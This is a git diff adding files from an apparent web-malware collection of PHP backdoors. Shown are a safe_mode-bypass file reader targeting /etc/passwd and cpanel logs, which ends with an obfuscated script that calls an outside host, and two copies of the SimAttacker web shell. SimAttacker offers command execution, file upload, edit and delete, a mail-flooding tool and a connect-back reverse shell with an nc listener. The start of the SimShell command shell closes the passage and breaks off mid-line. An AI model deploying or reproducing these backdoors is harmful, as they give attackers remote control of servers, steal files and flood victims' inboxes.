Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style> +<p align="center"><b><font face="Webdings" size="6" color="#FF0000">!</font><font face="Verdana" size="5" color="#DADADA"><a href="? "><span style="color: #DADADA; text-decoration: none; font-weight:700"><font face="Times New Roman">Safe +Mode Shell v1.0</font></span></a></font><font face="Webdings" size="6" color="#FF0000">!</font></b></p> +<form method="POST"> + <p align="center"><input type="text" name="file" size="20"> + <input type="submit" value="Open" name="B1"></p> +</form> + <form method="POST"> + <p align="center"><select size="1" name="file"> + <option value="/etc/passwd">Get /etc/passwd</option> + <option value="/var/cpanel/accounting.log">View cpanel logs</option> + <option value="/etc/syslog.conf">Syslog configuration</option> + <option value="/etc/hosts">Hosts</option> + </select> <input type="submit" value="Go" name="B1"></p> + </form> + + +<?php +/* +Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2 +by PHP Emperor<xb5@hotmail.com> +*/ + +echo "<head><title>Safe Mode Shell</title></head>"; + + + + +$tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp + +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +echo("Safe-mode: $hsafemode"); +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=\"red\">".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} +echo("<br>"); +echo("Open base dir: $hopenbasedir"); +echo("<br>"); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); + +echo "<PRE>\n"; +if(empty($file)){ +if(empty($_GET['file'])){ +if(empty($_POST['file'])){ +die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n <B><CENTER><FONT +COLOR=\"RED\">PHP Emperor +xb5@hotmail.com</FONT></CENTER></B>"); +} else { +$file=$_POST['file']; +} +} else { +$file=$_GET['file']; +} +} + +$temp=tempnam($tymczas, "cx"); + +if(copy("compress.zlib://".$file, $temp)){ +$zrodlo = fopen($temp, "r"); +$tekst = fread($zrodlo, filesize($temp)); +fclose($zrodlo); +echo "<B>--- Start File ".htmlspecialchars($file)." +-------------</B>\n".htmlspecialchars($tekst)."\n<B>--- End File +".htmlspecialchars($file)." ---------------\n"; +unlink($temp); +die("\n<FONT COLOR=\"RED\"><B>File +".htmlspecialchars($file)." has been already loaded. PHP Emperor <xb5@hotmail.com> +;]</B></FONT>"); +} else { +die("<FONT COLOR=\"RED\"><CENTER>Sorry... File +<B>".htmlspecialchars($file)."</B> dosen't exists or you don't have +access.</CENTER></FONT>"); +} +?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> + diff --git a/web-malware-collection-master/Backdoors/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php b/web-malware-collection-master/Backdoors/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php new file mode 100755 index 0000000..9d41bb6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php @@ -0,0 +1,378 @@ +<? +//download Files Code +$fdownload=$_GET['fdownload']; +if ($fdownload <> "" ){ +// path & file name +$path_parts = pathinfo("$fdownload"); +$entrypath=$path_parts["basename"]; +$name = "$fdownload"; +$fp = fopen($name, 'rb'); +header("Content-Disposition: attachment; filename=$entrypath"); +header("Content-Length: " . filesize($name)); +fpassthru($fp); +exit; +} +?> + +<html> + +<head> +<meta http-equiv="Content-Language" content="en-us"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> +<title>SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend </title> +<style> +<!-- +body { font-family: Tahoma; font-size: 8pt } +--> +</style> +</head> +<body> +<? +error_reporting(E_ERROR | E_WARNING | E_PARSE); + + //File Edit + $fedit=$_GET['fedit']; + if ($fedit <> "" ){ + $fedit=realpath($fedit); + $lines = file($fedit); + echo "<form action='' method='POST'>"; +echo "<textarea name='savefile' rows=30 cols=80>" ; +foreach ($lines as $line_num => $line) { + echo htmlspecialchars($line); +} +echo "</textarea> + <input type='text' name='filepath' size='60' value='$fedit'> + <input type='submit' value='save'></form>"; + $savefile=$_POST['savefile']; + $filepath=realpath($_POST['filepath']); + if ($savefile <> "") + { + $fp=fopen("$filepath","w+"); + fwrite ($fp,"") ; + fwrite ($fp,$savefile) ; + fclose($fp); + echo "<script language='javascript'> close()</script>"; + } +exit(); + } +?> +<? +// CHmod - PRimission +$fchmod=$_GET['fchmod']; +if ($fchmod <> "" ){ +$fchmod=realpath($fchmod); +echo "<center><br> +chmod for :$fchmod<br> +<form method='POST' action=''><br> +Chmod :<br> +<input type='text' name='chmod0' ><br> +<input type='submit' value='change chmod'> +</form>"; +$chmod0=$_POST['chmod0']; +if ($chmod0 <> ""){ +chmod ($fchmod , $chmod0); +}else { +echo "primission Not Allow change Chmod"; +} +exit(); +} +?> + +<div align="center"> + <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> + <tr> + <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> + <p align="center"><b> + <font face="Tahoma" size="2"><br> + </font> + <font color="#D2D200" face="Tahoma" size="2"> + <span style="text-decoration: none"> + <font color="#000000"> + <a href="?id=fm&dir=<? + echo getcwd(); + ?> + "> + <span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p> + <p align="center"><b><a href="?id=cmd"> + <span style="text-decoration: none"> + <font face="Tahoma" size="2" color="#000000"> + CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p> + <p align="center"><b><a href="?id=fake-mail"> + <font face="Tahoma" size="2" color="#000000"> + <span style="text-decoration: none">Fake mail</span></font></a></b></p> + <p align="center"><b> + <font face="Tahoma" size="2" color="#000000"> + <a href="?id=cshell"> + <span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p> + <p align="center"><b> + <font color="#000000" face="Tahoma" size="2"> + <a href="?id="> + <span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p> + <p>&nbsp;<p align="center">&nbsp;</td> + <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> + <? + //******************************************************* + //Start Programs About US + $id=$_GET['id']; + + if ($id=="") { + echo " + <font face='Arial Black' color='#808080' size='1'> +***************************************************************************<br> +&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br> +&nbsp;Programer : Hossein Asgary <br> +&nbsp;Note : SimAttacker&nbsp; Have copyright from simorgh security Group <br> +&nbsp;please : If you find bug or problems in program , tell me by : <br> +&nbsp;e-mail : admin(at)simorgh-ev(dot)com<br> +Enjoy :) [Only 4 Best Friends ] <br> +***************************************************************************</font></span></p> +"; + +echo "<font color='#333333' size='2'>OS :". php_uname(); +echo "<br>IP :". +($_SERVER['REMOTE_ADDR']); +echo "</font>"; + + + } + //************************************************************ + //cmd-command line + $cmd=$_POST['cmd']; + if($id=="cmd"){ + $result=shell_exec("$cmd"); + echo "<br><center><h3> CMD ExeCute </h3></center>" ; + echo "<center> + <textarea rows=20 cols=70 >$result</textarea><br> + <form method='POST' action=''> + <input type='hidden' name='id' value='cmd'> + <input type='text' size='80' name='cmd' value='$cmd'> + <input type='submit' value='cmd'><br>"; + + + + } + + //******************************************************** + + //fake mail = Use victim server 4 DOS - fake mail + if ( $id=="fake-mail"){ + error_reporting(0); + echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; + echo "<center><form method='post' action=''> + Victim Mail :<br><input type='text' name='to' ><br> + Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> + Comments: + <br> + <textarea rows='10' cols=50 name='Comments' ></textarea><br> + <input type='submit' value='Send Mail Strm ' > + </form></center>"; + //send Storm Mail + $to=$_POST['to']; + $nom=$_POST['nom']; + $Comments=$_POST['Comments']; + if ($to <> "" ){ + for ($i = 0; $i < $nom ; $i++){ + $from = rand (71,1020000000)."@"."Attacker.com"; + $subject= md5("$from"); + mail($to,$subject,$Comments,"From:$from"); + echo "$i is ok"; + } + echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; + } + } + //******************************************************** + + //Connect Back -Firewall Bypass + if ($id=="cshell"){ + echo "<br>Connect back Shell , bypass Firewalls<br> + For user :<br> + nc -l -p 1019 <br> + <hr> + <form method='POST' action=''><br> + Your IP & BindPort:<br> + <input type='text' name='mip' > + <input type='text' name='bport' size='5' value='1019'><br> + <input type='submit' value='Connect Back'> + </form>"; + $mip=$_POST['mip']; + $bport=$_POST['bport']; + if ($mip <> "") + { + $fp=fsockopen($mip , $bport , $errno, $errstr); + if (!$fp){ + $result = "Error: could not open socket connection"; + } + else { + fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); + while(!feof($fp)){ + fputs ($fp," bash # "); + $result= fgets ($fp, 4096); + $message=`$result`; + fputs ($fp,"--> ".$message."\n"); + } + fclose ($fp); + } + } + } + + //******************************************************** + //Spy File Manager + $homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; + if ($id=="fm"){ + echo "<br><b><p align='left'>&nbsp;Home:</b> $homedir + &nbsp;<b> + <form action='' method='GET'> + &nbsp;Path:</b> + <input type='hidden' name='id' value='fm'> + <input type='text' name='dir' size='80' value='$dir'> + <input type='submit' value='dir'> + </form> + <br>"; + + echo " + +<div align='center'> + +<table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> + <tr> + <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> + <td height='28' width='82' align='center'> + <font color='#000080' size='2'><b>Size KByte</b></font></td> + <td height='28' width='83' align='center'> + <font color='#008000' size='2'><b>Download</b></font></td> + <td height='28' width='66' align='center'> + <font color='#FF9933' size='2'><b>Edit</b></font></td> + <td height='28' width='75' align='center'> + <font color='#999999' size='2'><b>Chmod</b></font></td> + <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> + </tr>"; + if (is_dir($dir)){ + if ($dh=opendir($dir)){ + while (($file = readdir($dh)) !== false) { + $fsize=round(filesize($dir . $file)/1024); + + + echo " + <tr> + <th width='250' height='22' align='left' nowrap>"; + if (is_dir($dir.$file)) + { + echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'>&nbsp;$file <font color='#FF0000' size='1'>dir</font>"; + } + else { + echo "<font size='2' color='#666666'>&nbsp;$file "; + } + echo "</a></font></th> + <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; + if (is_file($dir.$file)) + { + echo "$fsize"; + } + else { + echo "&nbsp; "; + } + echo " + </b></font></td> + <td width='103' align='center' nowrap>"; + if (is_file($dir.$file)){ + if (is_readable($dir.$file)){ + echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; + }else { + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + } + }else { + echo "&nbsp;"; + } + echo " + </a></font></td> + <td width='77' align='center' nowrap>"; + if (is_file($dir.$file)) + { + if (is_readable($dir.$file)){ + echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; + }else { + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + } + }else { + echo "&nbsp;"; + } + echo " + </a></font></td> + <td width='86' align='center' nowrap>"; + if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + echo "<font size='1' color='#999999'>Dont in windows"; + } + else { + echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; + } + echo "</a></font></td> + <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> + </tr> + "; + } + closedir($dh); + } + } + echo "</table> +<form enctype='multipart/form-data' action='' method='POST'> + <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> + Send this file: <input name='userfile' type='file' /> + <inpt type='hidden' name='Fupath' value='$dir'> + <input type='submit' value='Send File' /> +</form> + </div>"; + } +//Upload Files +$rpath=$_GET['dir']; +if ($rpath <> "") { +$uploadfile = $rpath."/" . $_FILES['userfile']['name']; +print "<pre>"; +if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { +echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; +echo "<script language='javascript'> history.back(2)</script>"; +} + } + //file deleted +$frpath=$_GET['fdelete']; +if ($frpath <> "") { +if (is_dir($frpath)){ +$matches = glob($frpath . '/*.*'); +if ( is_array ( $matches ) ) { + foreach ( $matches as $filename) { + unlink ($filename); + rmdir("$frpath"); +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; +echo "<script language='javascript'> history.back(1)</script>"; + } + } + } + else{ +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; +unlink ("$frpath"); +echo "<script language='javascript'> history.back(1)</script>"; +exit(0); + + } + + +} + ?> + + </td> + </tr> + <tr> + <td style="border: 1px dotted #FFCC66"> + <p align="center"><font color="#666666" size="1" face="Tahoma"><br> + Copyright 2004-Simorgh Security<br> + Hossein-Asgari<br> + </font><font color="#c0c0c0" size="1" face="Tahoma"> + <a style="TEXT-DECORATION: none" href="http://www.simorgh-ev.com"> + <font color="#666666">www.simorgh-ev.com</font></a></font></td> + </tr> + </table> +</div> + +</body> + +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.txt b/web-malware-collection-master/Backdoors/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.txt new file mode 100755 index 0000000..9d41bb6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.txt @@ -0,0 +1,378 @@ +<? +//download Files Code +$fdownload=$_GET['fdownload']; +if ($fdownload <> "" ){ +// path & file name +$path_parts = pathinfo("$fdownload"); +$entrypath=$path_parts["basename"]; +$name = "$fdownload"; +$fp = fopen($name, 'rb'); +header("Content-Disposition: attachment; filename=$entrypath"); +header("Content-Length: " . filesize($name)); +fpassthru($fp); +exit; +} +?> + +<html> + +<head> +<meta http-equiv="Content-Language" content="en-us"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> +<title>SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend </title> +<style> +<!-- +body { font-family: Tahoma; font-size: 8pt } +--> +</style> +</head> +<body> +<? +error_reporting(E_ERROR | E_WARNING | E_PARSE); + + //File Edit + $fedit=$_GET['fedit']; + if ($fedit <> "" ){ + $fedit=realpath($fedit); + $lines = file($fedit); + echo "<form action='' method='POST'>"; +echo "<textarea name='savefile' rows=30 cols=80>" ; +foreach ($lines as $line_num => $line) { + echo htmlspecialchars($line); +} +echo "</textarea> + <input type='text' name='filepath' size='60' value='$fedit'> + <input type='submit' value='save'></form>"; + $savefile=$_POST['savefile']; + $filepath=realpath($_POST['filepath']); + if ($savefile <> "") + { + $fp=fopen("$filepath","w+"); + fwrite ($fp,"") ; + fwrite ($fp,$savefile) ; + fclose($fp); + echo "<script language='javascript'> close()</script>"; + } +exit(); + } +?> +<? +// CHmod - PRimission +$fchmod=$_GET['fchmod']; +if ($fchmod <> "" ){ +$fchmod=realpath($fchmod); +echo "<center><br> +chmod for :$fchmod<br> +<form method='POST' action=''><br> +Chmod :<br> +<input type='text' name='chmod0' ><br> +<input type='submit' value='change chmod'> +</form>"; +$chmod0=$_POST['chmod0']; +if ($chmod0 <> ""){ +chmod ($fchmod , $chmod0); +}else { +echo "primission Not Allow change Chmod"; +} +exit(); +} +?> + +<div align="center"> + <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> + <tr> + <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> + <p align="center"><b> + <font face="Tahoma" size="2"><br> + </font> + <font color="#D2D200" face="Tahoma" size="2"> + <span style="text-decoration: none"> + <font color="#000000"> + <a href="?id=fm&dir=<? + echo getcwd(); + ?> + "> + <span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p> + <p align="center"><b><a href="?id=cmd"> + <span style="text-decoration: none"> + <font face="Tahoma" size="2" color="#000000"> + CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p> + <p align="center"><b><a href="?id=fake-mail"> + <font face="Tahoma" size="2" color="#000000"> + <span style="text-decoration: none">Fake mail</span></font></a></b></p> + <p align="center"><b> + <font face="Tahoma" size="2" color="#000000"> + <a href="?id=cshell"> + <span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p> + <p align="center"><b> + <font color="#000000" face="Tahoma" size="2"> + <a href="?id="> + <span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p> + <p>&nbsp;<p align="center">&nbsp;</td> + <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> + <? + //******************************************************* + //Start Programs About US + $id=$_GET['id']; + + if ($id=="") { + echo " + <font face='Arial Black' color='#808080' size='1'> +***************************************************************************<br> +&nbsp;Iranian Hackers : WWW.SIMORGH-EV.COM <br> +&nbsp;Programer : Hossein Asgary <br> +&nbsp;Note : SimAttacker&nbsp; Have copyright from simorgh security Group <br> +&nbsp;please : If you find bug or problems in program , tell me by : <br> +&nbsp;e-mail : admin(at)simorgh-ev(dot)com<br> +Enjoy :) [Only 4 Best Friends ] <br> +***************************************************************************</font></span></p> +"; + +echo "<font color='#333333' size='2'>OS :". php_uname(); +echo "<br>IP :". +($_SERVER['REMOTE_ADDR']); +echo "</font>"; + + + } + //************************************************************ + //cmd-command line + $cmd=$_POST['cmd']; + if($id=="cmd"){ + $result=shell_exec("$cmd"); + echo "<br><center><h3> CMD ExeCute </h3></center>" ; + echo "<center> + <textarea rows=20 cols=70 >$result</textarea><br> + <form method='POST' action=''> + <input type='hidden' name='id' value='cmd'> + <input type='text' size='80' name='cmd' value='$cmd'> + <input type='submit' value='cmd'><br>"; + + + + } + + //******************************************************** + + //fake mail = Use victim server 4 DOS - fake mail + if ( $id=="fake-mail"){ + error_reporting(0); + echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; + echo "<center><form method='post' action=''> + Victim Mail :<br><input type='text' name='to' ><br> + Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> + Comments: + <br> + <textarea rows='10' cols=50 name='Comments' ></textarea><br> + <input type='submit' value='Send Mail Strm ' > + </form></center>"; + //send Storm Mail + $to=$_POST['to']; + $nom=$_POST['nom']; + $Comments=$_POST['Comments']; + if ($to <> "" ){ + for ($i = 0; $i < $nom ; $i++){ + $from = rand (71,1020000000)."@"."Attacker.com"; + $subject= md5("$from"); + mail($to,$subject,$Comments,"From:$from"); + echo "$i is ok"; + } + echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; + } + } + //******************************************************** + + //Connect Back -Firewall Bypass + if ($id=="cshell"){ + echo "<br>Connect back Shell , bypass Firewalls<br> + For user :<br> + nc -l -p 1019 <br> + <hr> + <form method='POST' action=''><br> + Your IP & BindPort:<br> + <input type='text' name='mip' > + <input type='text' name='bport' size='5' value='1019'><br> + <input type='submit' value='Connect Back'> + </form>"; + $mip=$_POST['mip']; + $bport=$_POST['bport']; + if ($mip <> "") + { + $fp=fsockopen($mip , $bport , $errno, $errstr); + if (!$fp){ + $result = "Error: could not open socket connection"; + } + else { + fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); + while(!feof($fp)){ + fputs ($fp," bash # "); + $result= fgets ($fp, 4096); + $message=`$result`; + fputs ($fp,"--> ".$message."\n"); + } + fclose ($fp); + } + } + } + + //******************************************************** + //Spy File Manager + $homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; + if ($id=="fm"){ + echo "<br><b><p align='left'>&nbsp;Home:</b> $homedir + &nbsp;<b> + <form action='' method='GET'> + &nbsp;Path:</b> + <input type='hidden' name='id' value='fm'> + <input type='text' name='dir' size='80' value='$dir'> + <input type='submit' value='dir'> + </form> + <br>"; + + echo " + +<div align='center'> + +<table border='1' id='table1' style='border: 1px #333333' height='90' cellspacing='0' cellpadding='0'> + <tr> + <td width='300' height='30' align='left'><b><font size='2'>File / Folder Name</font></b></td> + <td height='28' width='82' align='center'> + <font color='#000080' size='2'><b>Size KByte</b></font></td> + <td height='28' width='83' align='center'> + <font color='#008000' size='2'><b>Download</b></font></td> + <td height='28' width='66' align='center'> + <font color='#FF9933' size='2'><b>Edit</b></font></td> + <td height='28' width='75' align='center'> + <font color='#999999' size='2'><b>Chmod</b></font></td> + <td height='28' align='center'><font color='#FF0000' size='2'><b>Delete</b></font></td> + </tr>"; + if (is_dir($dir)){ + if ($dh=opendir($dir)){ + while (($file = readdir($dh)) !== false) { + $fsize=round(filesize($dir . $file)/1024); + + + echo " + <tr> + <th width='250' height='22' align='left' nowrap>"; + if (is_dir($dir.$file)) + { + echo "<a href='?id=fm&dir=$dir$file'><span style='text-decoration: none'><font size='2' color='#666666'>&nbsp;$file <font color='#FF0000' size='1'>dir</font>"; + } + else { + echo "<font size='2' color='#666666'>&nbsp;$file "; + } + echo "</a></font></th> + <td width='113' align='center' nowrap><font color='#000080' size='2'><b>"; + if (is_file($dir.$file)) + { + echo "$fsize"; + } + else { + echo "&nbsp; "; + } + echo " + </b></font></td> + <td width='103' align='center' nowrap>"; + if (is_file($dir.$file)){ + if (is_readable($dir.$file)){ + echo "<a href='?id=fm&fdownload=$dir$file'><span style='text-decoration: none'><font size='2' color='#008000'>download"; + }else { + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + } + }else { + echo "&nbsp;"; + } + echo " + </a></font></td> + <td width='77' align='center' nowrap>"; + if (is_file($dir.$file)) + { + if (is_readable($dir.$file)){ + echo "<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decoration: none'><font color='#FF9933' size='2'>Edit"; + }else { + echo "<font size='1' color='#FF0000'><b>No ReadAble</b>"; + } + }else { + echo "&nbsp;"; + } + echo " + </a></font></td> + <td width='86' align='center' nowrap>"; + if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + echo "<font size='1' color='#999999'>Dont in windows"; + } + else { + echo "<a href='?id=fm&fchmod=$dir$file'><span style='text-decoration: none'><font size='2' color='#999999'>Chmod"; + } + echo "</a></font></td> + <td width='86'align='center' nowrap><a href='?id=fm&fdelete=$dir$file'><span style='text-decoration: none'><font size='2' color='#FF0000'>Delete</a></font></td> + </tr> + "; + } + closedir($dh); + } + } + echo "</table> +<form enctype='multipart/form-data' action='' method='POST'> + <input type='hidden' name='MAX_FILE_SIZE' value='300000' /> + Send this file: <input name='userfile' type='file' /> + <inpt type='hidden' name='Fupath' value='$dir'> + <input type='submit' value='Send File' /> +</form> + </div>"; + } +//Upload Files +$rpath=$_GET['dir']; +if ($rpath <> "") { +$uploadfile = $rpath."/" . $_FILES['userfile']['name']; +print "<pre>"; +if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) { +echo "<script language='javascript'> alert('\:D Successfully uploaded.!')</script>"; +echo "<script language='javascript'> history.back(2)</script>"; +} + } + //file deleted +$frpath=$_GET['fdelete']; +if ($frpath <> "") { +if (is_dir($frpath)){ +$matches = glob($frpath . '/*.*'); +if ( is_array ( $matches ) ) { + foreach ( $matches as $filename) { + unlink ($filename); + rmdir("$frpath"); +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; +echo "<script language='javascript'> history.back(1)</script>"; + } + } + } + else{ +echo "<script language='javascript'> alert('Success! Please refresh')</script>"; +unlink ("$frpath"); +echo "<script language='javascript'> history.back(1)</script>"; +exit(0); + + } + + +} + ?> + + </td> + </tr> + <tr> + <td style="border: 1px dotted #FFCC66"> + <p align="center"><font color="#666666" size="1" face="Tahoma"><br> + Copyright 2004-Simorgh Security<br> + Hossein-Asgari<br> + </font><font color="#c0c0c0" size="1" face="Tahoma"> + <a style="TEXT-DECORATION: none" href="http://www.simorgh-ev.com"> + <font color="#666666">www.simorgh-ev.com</font></a></font></td> + </tr> + </table> +</div> + +</body> + +</html> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/SimShell 1.0 - Simorgh Security MGZ.php b/web-malware-collection-master/Backdoors/PHP/SimShell 1.0 - Simorgh Security MGZ.php new file mode 100755 index 0000000..2fff063 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/SimShell 1.0 - Simorgh Security MGZ.php @@ -0,0 +1,180 @@ +<?php + +/*Simorgh Security Magazine */ + session_start(); +if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) { + $_SESSION['cwd'] = getcwd(); + $_SESSION['history'] = array(); + $_SESSION['output'] = ''; + } + + if (!empty($_REQUEST['command'])) { + if (get_magic_quotes_gpc()) { + $_REQUEST['command'] = stripslashes($_REQUEST['command']); + } + if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false) + unset($_SESSION['history'][$i]); + + array_unshift($_SESSION['history'], $_REQUEST['command']); + + $_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n"; + + if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) { + $_SESSION['cwd'] = dirname(__FILE__); + } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) { + + if ($regs[1][0] == '/') { + + $new_dir = $regs[1]; + } else { + + $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; + } + + + while (strpos($new_dir, '/./') !== false) + $new_dir = str_replace('/./', '/', $new_dir); + + + while (strpos($new_dir, '//') !== false) + $new_dir = str_replace('//', '/', $new_dir); + + while (preg_match('|/\.\.(?!\.)|', $new_dir)) + $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); + + if ($new_dir == '') $new_dir = '/'; + + + if (@chdir($new_dir)) { + $_SESSION['cwd'] = $new_dir; + } else { + $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; + } + + } else { + + chdir($_SESSION['cwd']); + + $length = strcspn($_REQUEST['command'], " \t"); + $token = substr($_REQUEST['command'], 0, $length); + if (isset($aliases[$token])) + $_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length); + + $p = proc_open($_REQUEST['command'], + array(1 => array('pipe', 'w'), + 2 => array('pipe', 'w')), + $io); + + + while (!feof($io[1])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[1]), + ENT_COMPAT, 'UTF-8'); + } + + while (!feof($io[2])) { + $_SESSION['output'] .= htmlspecialchars(fgets($io[2]), + ENT_COMPAT, 'UTF-8'); + } + + fclose($io[1]); + fclose($io[2]); + proc_close($p); + } + } + + + if (empty($_SESSION['history'])) { + $js_command_hist = '""'; + } else { + $escaped = array_map('addslashes', $_SESSION['history']); + $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; + } + + +header('Content-Type: text/html; charset=UTF-8'); + +echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n"; +?> + +<head> + <title>SimShell - Simorgh Security MGZ</title> + <link rel="stylesheet" href="Simshell.css" type="text/css" /> + + <script type="text/javascript" language="JavaScript"> + var current_line = 0; + var command_hist = new Array(<?php echo $js_command_hist ?>); + var last = 0; + + function key(e) { + if (!e) var e = window.event; + + if (e.keyCode == 38 && current_line < command_hist.length-1) { + command_hist[current_line] = document.shell.command.value; + current_line++; + document.shell.command.value = command_hist[current_line]; + } + + if (e.keyCode == 40 && current_line > 0) { + command_hist[current_line] = document.shell.command.value; + current_line--; + document.shell.command.value = command_hist[current_line]; + } + + } + +function init() { + document.shell.setAttribute("autocomplete", "off"); + document.shell.output.scrollTop = document.shell.output.scrollHeight; + document.shell.command.focus(); +} + + </script> +</head> + +<body onload="init()" style="color: #00FF00; background-color: #000000"> + +<span style="background-color: #000000"> + + + +</body> + +</body> +</html> + + + +</span> + + + +<p><span style="background-color: #000000">&nbsp;Directory: </span> <code> +<span style="background-color: #000000"><?php echo 